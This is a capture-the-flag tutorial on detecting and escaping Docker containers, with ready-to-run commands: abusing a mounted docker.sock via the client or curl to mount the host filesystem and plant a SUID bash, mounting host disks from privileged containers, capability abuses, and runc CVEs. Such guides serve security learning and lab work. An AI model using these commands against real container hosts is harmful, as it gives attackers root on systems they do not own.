Docker container escape: docker.sock and privileged mode
How to tell you are inside a container, what to check and how to break out to the host with docker.sock, --privileged, mounted disks, capabilities or a vulnerable Docker.
You get a shell, you are root... and there is no flag in /root. Most likely you are inside a container. Being root there is not being root on the machine: you have to get out to the host. This guide covers escaping from the inside; if on the host you belong to the docker or lxd group, that is already in the cron, PATH and groups guide.
Am I in a container?
ls -la /.dockerenv # exists in Docker containers
cat /proc/1/cgroup # paths mentioning docker, kubepods or containerd
hostname # a 12-character hex ID
ps aux | wc -l # very few processes
ip a; cat /etc/hosts # a 172.17.x.x IP and names of other services
If you are in one, look at what is inside before trying to escape: environment variables (env), the application's config files and the network. Containers often hold credentials for the database or another service that do get you onto the host. On Busqueda the passwords are in the containers' environment variables.
The checklist
| Check | Command | If you find... |
|---|---|---|
| Docker socket mounted | ls -la /var/run/docker.sock /run/docker.sock |
You control the host's Docker |
| Privileged container | ip link add x type dummy works; ls /dev shows disks (sda, nvme0n1) |
You mount the host disk |
| Dangerous capabilities | capsh --print or grep Cap /proc/self/status |
cap_sys_admin, cap_sys_module, cap_dac_read_search, cap_sys_ptrace |
| Host folders mounted | mount, df -h, cat /proc/self/mountinfo |
You write to them as root |
| Docker / runc version | docker version from the host or the socket |
A known CVE |
| Kubernetes | ls /var/run/secrets/kubernetes.io/serviceaccount/ |
A token for the cluster API |
The deepce.sh tool runs the whole list at once and also looks for credentials.
Mounted docker.sock
If the socket is inside, you can ask the host's Docker to start another container with the host disk mounted:
# with the docker client (upload a static binary if it is missing)
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host bash
# without a client, talking to the API with curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host sh -c \"cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb\""],"HostConfig":{"Binds":["/:/host"]}}' \
http://localhost/containers/create
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<id>/start
Use an image that already exists on the host (the list comes from /images/json), because the box will not have Internet access to pull alpine. The same applies if the Docker API listens over TCP (ports 2375 and 2376): that is the way on MonitorsFour.
Privileged container (--privileged)
A privileged container sees the host's devices. Mount the disk and you are done:
fdisk -l # find the host's big partition
mkdir /mnt/h && mount /dev/sda1 /mnt/h
chroot /mnt/h bash # or write your key to /mnt/h/root/.ssh/authorized_keys
That is what happens on Ready. If fdisk shows no disks but you have cap_sys_admin, the classic technique is the cgroups v1 release_agent: it makes the host run your script when a cgroup empties.
Capabilities
| Capability | Abuse |
|---|---|
cap_sys_admin |
Mounting, cgroups release_agent, almost the same as privileged |
cap_sys_module |
Loading your own kernel module: code in the host kernel |
cap_dac_read_search |
Reading any host file with open_by_handle_at (the shocker exploit) |
cap_sys_ptrace + --pid=host |
Injecting code into a host process |
Folders shared with the host
If a host folder is mounted read-write and you are root in the container, whatever you write is owned by root outside too. The classic trick: copy bash in with SUID and run it as an unprivileged user on the host.
# inside the container (root)
cp /bin/bash /mount/rb && chmod 4755 /mount/rb
# on the host (normal user), at that folder's real path
./rb -p
Make sure the bash is compatible with the host (same architecture and libraries) or copy the host's own one if you can read it.
Vulnerable Docker or runc
- CVE-2019-5736 (runc): overwrites the host's
runcbinary from inside the container (TheNotebook). - CVE-2021-41091 (Moby): container directories under
/var/lib/dockerare reachable by unprivileged host users. If you are root in the container and a user on the host, you plant a SUID inside and run it outside (MonitorsTwo). - CVE-2024-21626 (runc, Leaky Vessels): a leaked file descriptor gives access to the host filesystem.
If none of this works, keep enumerating as on any Linux box: the sudo, SUID and capabilities guide and the Linux privesc cheat sheet.